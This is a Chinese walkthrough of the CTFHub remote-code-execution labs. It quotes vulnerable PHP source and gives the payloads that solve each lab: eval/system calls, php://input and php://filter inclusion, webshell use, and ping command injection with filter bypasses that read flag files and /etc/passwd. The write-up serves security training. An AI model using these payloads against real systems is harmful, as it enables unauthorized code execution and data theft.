CTFHub-RCE系列wp
目录标题
- 引言
- 什么是RCE漏洞
- eval执行
- 文件包含
- 文件包含
- php://input
- 读取源代码
- 远程包含
- 命令注入
- 无过滤
- 过滤cat
- 过滤空格
- 过滤目录分隔符
- 过滤运算符
- 综合过滤练习
引言
题目共有如下类型

什么是RCE漏洞
RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码
eval执行
分析源码:
<?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {highlight_file(__FILE__);
}
?>
执行命令查看当前目录
?cmd=system("ls");

查看根目录或者上级目录一个一个查找
?cmd=system("ls /");
?cmd=system("ls ../../../");
发现flag文件

cat /flag_8751即可

文件包含
文件包含
源码审计
<?php
error_reporting(0);
if (isset($_GET['file'])) { //检查是否存在file参数且不为空if (!strpos($_GET["file"], "flag")) { //过滤flag字符串include $_GET["file"]; } else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?><hr>
i have a <a href="shell.txt">shell</a>, how to use it ? //提示有个shell.txt文件,内容为 <?php eval($_REQUEST['ctfhub']);?>
利用文件包含读取shell.txt

先了解一下** R E Q U E S T ∗ ∗ 函数,是 P H P 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说, ‘ _REQUEST**函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,` REQUEST∗∗函数,是PHP中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,‘_REQUEST` 变量包含了通过 GET、POST 和 COOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量
查看根目录

查找flag

php://input
源码分析
<?php
if (isset($_GET['file'])) { //检查是否存在file参数if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查参数前6位是否为 php:// ,是则执行include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接
查看phpinfo.php文件,发现此处

抓包构造命令执行,因为有php://input,故会执行传入的php代码

查看flag

这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可

或者:

读取源代码
源码审计
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查file参数是否以 php:// 开头include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__); //代码高亮,显示源码
}
?>i don't have shell, how to get flag?
flag in <code>/flag</code> //flag在根目录
php伪协议读取flag
?file=php://filter/read=/resource=/flag

远程包含
源码审计
<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) { //过滤flag字符串include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
给了一个phpinfo()界面,根据题目提示,还是文件包含题,抓包利用php;//input读取
查看根目录

读取flag

命令注入
-
这里需要了解一下常见的命令分隔符
-
; : 无论前面是否执行,后面都执行
-
**||(逻辑或):**前命令失败执行后命令,如果前命令成功则不执行后命令
-
**| :**前者结果作为后者参数使用
-
**&& :**前命令成功执行后命令,如果失败则不执行后命令
-
**\n:**换行符,url编码%0a
-
%0a (换行)
-
%0d (回车)
无过滤
没有做任何过滤
先ping一下

查看该目录,使用 127.0.0.1; ls 也是可以的

查看26398804916519.php
127.0.0.1 | cat 26398804916519.php
发现flag

过滤cat
查看源码:
<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip'];$m = [];if (!preg_match_all("/cat/", $ip, $m)) { //过滤了cat字符串$cmd = "ping -c 4 {$ip}"; //windows默认ping4次,Linux不设置次数会一直pingexec($cmd, $res);} else {$res = $m;}
}
查看当前目录

因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl tac c\at less more tail 等
nl查看,得到flag

或者使用转义符 \ 绕过 也可以得到flag,会将c\at 分为两个字符串,则绕过cat过滤

过滤空格
查看源码
<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) { //只过滤了空格$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>
先查看当前目录,得到flag文件 flag_11971489425983.php

这里介绍几个绕过空格的方法
$IFS$9 %09 <> < {cat,flag}
可以绕过空格
127.0.0.1;cat$IFS$9flag_11971489425983.php

过滤目录分隔符
几种常见的 / 符号绕过方法
改变工作目录:cd xxx 避免使用 / 符号
环境变量截取: ${PATH:0:1} ${HOME:0:1}
编码绕过:8进制: $(printf "\57") 16进制: $'\x2f' $'\57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd cat `echo /`etc`echo /`passwd
通配符替代(部分路径已知):/???/cat /???/passwd //匹配 /bin/cat
利用反斜杠:cat \/etc\/passwd
协议替代:file_get_contents('glob:///*');
提示:

源码
<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/\//", $ip, $m)) { //过滤了 / 符号$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>
查看当前目录

进入该目录并查看

执行以下命令读取flag文件
127.0.0.1;cd flag_is_here;cat flag_29914267619184.php
得到flag

过滤运算符
查看源码,可以利用 **;**绕过
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||\&)/", $ip, $m)) { //利用正则匹配过滤了 | 和 & $cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>
查看当前目录

执行以下命令
127.0.0.1;cat flag_4351260182213.php
得到flag

综合过滤练习
源码审计
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { //过滤了 | & ; 空格 / cat flag ctfhub$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>
利用换行符**%0a绕过**查看当前目录

查看根目录,没有有用信息,flag应该存在flag_is_here目录下

执行以下命令
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als //flag被过滤,需要绕过

查看该flag
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php //绕过cat

相关文章:
CTFHub-RCE系列wp
目录标题 引言什么是RCE漏洞 eval执行文件包含文件包含php://input读取源代码远程包含 命令注入无过滤过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤练习 引言 题目共有如下类型 什么是RCE漏洞 RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文…...
【OneAPI】通过网页预渲染让搜索引擎收录网页
API简介 网页预渲染,适用于动态网页以及单页面的SEO,支持网页缓存。 您无须更改代码即可让搜索引擎收录您的网页。只要将需要预渲染的页面转发的本接口即可。 如果您使用Nginx作为网页服务器,推荐使用以下配置: #您的网站locat…...
从大规模恶意攻击 DeepSeek 事件看 AI 创新隐忧:安全可观测体系建设刻不容缓
作者:羿莉(萧羿) 全球出圈的中国大模型 DeepSeek 作为一款革命性的大型语言模型,以其卓越的自然语言处理能力和创新性成本控制引领行业前沿。该模型不仅在性能上媲美 OpenAI-o1,而且在推理模型的成本优化上实现了突破…...
【学习笔记】企业数字化转型顶层设计与企业架构TOGAF9.2-第0章 导论
数据要素资产化迈入关键发展期 围绕发挥数据要素乘数作用,研究实施“数据要素x”行动:从供需两端发力,在智能制造、商贸流通、交通物流、金融服务、医疗健康等若干重点领域,加强场景需求牵引,打通流通障碍、提升供给质量…...
Vue3 Ref全家桶深度解析:掌握响应式编程精髓
Vue3 Ref全家桶深度解析:掌握响应式编程精髓 一、Ref核心概念 1.1 响应式数据容器 const count ref(0) // 相当于创建了一个响应式容器: {value: 0,__v_isRef: true,// 其他响应式系统属性 }1.2 全家桶全景图 #mermaid-svg-VkHPjjlo16rOyItj {font-f…...
如何避免大语言模型中涉及丢番图方程的问题
希尔伯特第十问题是一个著名的数学问题,涉及不定方程(又称为丢番图方程)的可解答性。然而在大模型中,我们希望问题都是确定的可解的,或者说要尽可能的想办法避免不确定的不可解问题。由于丢番图方程问题是不可判定问题(即不存在一个有效的算法能够解决该类问题的所有实例…...
SpringCloud - Sentinel服务保护
前言 该博客为Sentinel学习笔记,主要目的是为了帮助后期快速复习使用 学习视频:7小快速通关SpringCloud 辅助文档:SpringCloud快速通关 源码地址:cloud-demo 一、简介 官网:https://sentinelguard.io/zh-cn/index.h…...
Java 使用腾讯翻译 API 实现含 HTML 标签文本,json值,精准翻译工具
注意:需搭配标题二的腾讯翻译工具使用 一-1、翻译标签文本工具 package org.springblade.common.utils;import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern;public class TencentTranslationFor…...
前端导出pdf,所见即所得
一、推荐方案:html2canvas jsPDF(图片式PDF) javascript import html2canvas from html2canvas; import jsPDF from jspdf;const exportPDF async (elementId, fileName) > {const element document.getElementById(elementId);// 1.…...
单片机上SPI和IIC的区别
SPI(Serial Peripheral Interface)和IC(Inter-Integrated Circuit)是两种常用的嵌入式外设通信协议,它们各有优缺点,适用于不同的场景。以下是它们的详细对比: — 1. 基本概念 SPI࿰…...
03-DevOps-安装并初始化Gitlab
Gitlab可以理解为是自己搭建的GitHub,也就是自己的代码仓库。 开启macvlan 在192.168.1.10服务器上,构建Macvlan网络,这种网络模式可以为每个容器独立分配ip。 docker network create -d macvlan \--subnet192.168.1.0/24 \--ip-range192.16…...
RabbitMQ 从入门到精通:从工作模式到集群部署实战(五)
#作者:闫乾苓 系列前几篇: 《RabbitMQ 从入门到精通:从工作模式到集群部署实战(一)》:link 《RabbitMQ 从入门到精通:从工作模式到集群部署实战(二)》: lin…...
DFS+回溯+剪枝(深度优先搜索)——搜索算法
DFS也就是深度优先搜索,比如二叉树的前,中,后序遍历都属于DFS。其本质是递归,要学好DFS首先需要掌握递归。接下来咱们就一起来学习DFS涉及的算法。 一、递归 1.什么是递归? 递归可以这样理解把它拆分出来࿰…...
使用PyCharm创建项目以及如何注释代码
创建好项目后会出现如下图所示的画面,我们可以通过在项目文件夹上点击鼠标右键,选择“New”菜单下的“Python File”来创建一个 Python 文件,在给文件命名时建议使用英文字母和下划线的组合,创建好的 Python 文件会自动打开&#…...
ArrayList和LinkedList有什么区别?在什么情况下使用ArrayList更高效?
ArrayList和LinkedList在Java中是两种常用的数据结构,分别基于数组和链表实现。它们在性能、内存使用和适用场景上各有特点。 ArrayList与LinkedList的主要区别 数据结构: ArrayList:基于动态数组实现,元素存储在连续的内存空间…...
Spring MVC 拦截器(Interceptor)与过滤器(Filter)的区别?
1、两者概述 拦截器(Interceptor): 只会拦截那些被 Controller 或 RestController 标注的类中的方法处理的请求,也就是那些由 Spring MVC 调度的请求。过滤器(Filter): 会拦截所有类型的 HTTP …...
elasticsearch实战应用从入门到高效使用java集成es快速上手
Elasticsearch 因其出色的性能、可扩展性和易用性,成为了处理大规模数据和构建搜索引擎的首选工具。本文将通过一个实际案例,详细讲解如何在 Spring Boot 项目中集成 Elasticsearch,进行数据索引、搜索、聚合分析等操作。 一、Elasticsearch 简介 Elasticsearch 是一个基于…...
Spring Boot 整合 JPA 实现数据持久化
目录 前言 一、JPA 核心概念与实体映射 1. 什么是 JPA? 2. JPA 的主要组件 3. 实体映射 4. 常见的字段映射策略 二、Repository 接口与自定义查询 1. 什么是 Repository 接口? 2. 动态查询方法 3. 自定义查询 4. 分页与排序 三、实战案例&…...
如何优化网站结构以促进快速收录?
本文转自:百万收录网 原文链接:https://www.baiwanshoulu.com/104.html 优化网站结构以促进快速收录,可以从以下几个方面入手: 一、合理规划页面结构 扁平化结构:采用扁平化的网站结构,减少层级…...
【零基础学Mysql】常用函数讲解,提升数据操作效率的利器
以耳倾听世间繁华,以语表达心中所想 大家好,我是whisperrrr. 前言: 大家好,我是你们的朋友whisrrr。在日常工作中,MySQL作为一款广泛使用的开源关系型数据库,其强大的功能为我们提供了便捷的数据存储和管理手段。而在…...
防火墙安全综合实验
防火墙安全综合实验 一、拓扑信息 二、需求及配置 实验步骤 需求一:根据下表,完成相关配置 设备接口VLAN接口类型SW2GE0/0/2VLAN 10AccessGE0/0/3VLAN 20AccessGE0/0/1VLAN List:10 20Trunk 1、创建vlan10和vlan20 2、将接口划分到对应…...
在Linux上创建虚拟网卡
在 Linux 上创建虚拟网卡可以通过多种方式进行,常见的方式是使用 ip 命令来配置虚拟网卡。以下是一个简单的步骤指南,用于创建虚拟网卡: 步骤 1: 查看现有的网络接口 首先,查看当前网络接口的状态,可以使用以下命令&…...
AWS Savings Plans 监控与分析工具使用指南
一、背景介绍 1.1 什么是 Savings Plans? AWS Savings Plans 是一种灵活的定价模式,通过承诺持续使用一定金额的 AWS 服务来获得折扣价格。它可以帮助用户降低 AWS 使用成本,适用于 EC2、Fargate 和 Lambda 等服务。 1.2 为什么需要监控? 优化成本支出跟踪使用情况评估投…...
中国通信企业协会通信网络安全服务能力评定安全设计与集成服务能力评定三级要求准则...
安全设计与集成服务能力三级是通信网络安全服务能力评定安全设计与集成服务能力评定的最高等级,所需的要求也会更加严苛,不仅要满足安全设计与集成服务二级能力要求的所有条款,还要满足以下要求: 规模与资产要求 1)单位正规编制员…...
github - 使用
注册账户以及创建仓库 要想使用github第一步当然是注册github账号了, github官网地址:https://github.com/。 之后就可以创建仓库了(免费用户只能建公共仓库),Create a New Repository,填好名称后Create,之后会出现一些仓库的配置信息,这也是一个git的简单教程。 Git…...
RabbitMQ 消息顺序性保证
方式一:Consumer设置exclusive 注意条件 作用于basic.consume不支持quorum queue 当同时有A、B两个消费者调用basic.consume方法消费,并将exclusive设置为true时,第二个消费者会抛出异常: com.rabbitmq.client.AlreadyClosedEx…...
DeepSeek R1 简单指南:架构、训练、本地部署和硬件要求
DeepSeek R1 简单指南:架构、训练、本地部署和硬件要求 DeepSeek 的 LLM 推理新方法 DeepSeek 推出了一种创新方法,通过强化学习 (RL) 来提高大型语言模型 (LLM) 的推理能力,其最新论文 DeepSeek-R1 对此进行了详细介绍。这项研究代表了我们…...
1.攻防世界 unserialize3(wakeup()魔术方法、反序列化工作原理)
进入题目页面如下 直接开审 <?php // 定义一个名为 xctf 的类 class xctf {// 声明一个公共属性 $flag,初始值为字符串 111public $flag 111;// 定义一个魔术方法 __wakeup()// 当对象被反序列化时,__wakeup() 方法会自动调用public function __wa…...
麒麟系统编译安装git
有些版本的麒麟系统上没有git,官网又找不到现成的安装包,只好下载编译进行编译安装 1、下载源码 下载源码,地址:https://git-scm.com/downloads/linux。 2、解压 直接鼠标右键解压,或者用命令行: tar …...
Web - CSS3过渡与动画
过渡 基本使用 transition过渡属性是css3浓墨重彩的特性,过渡可以为一个元素在不同样式之间变化自动添加补间动画。 过渡从kIE10开始兼容,移动端兼容良好,网页上的动画特效基本都是由JavaScript定时器实现的,现在逐步改为css3过…...
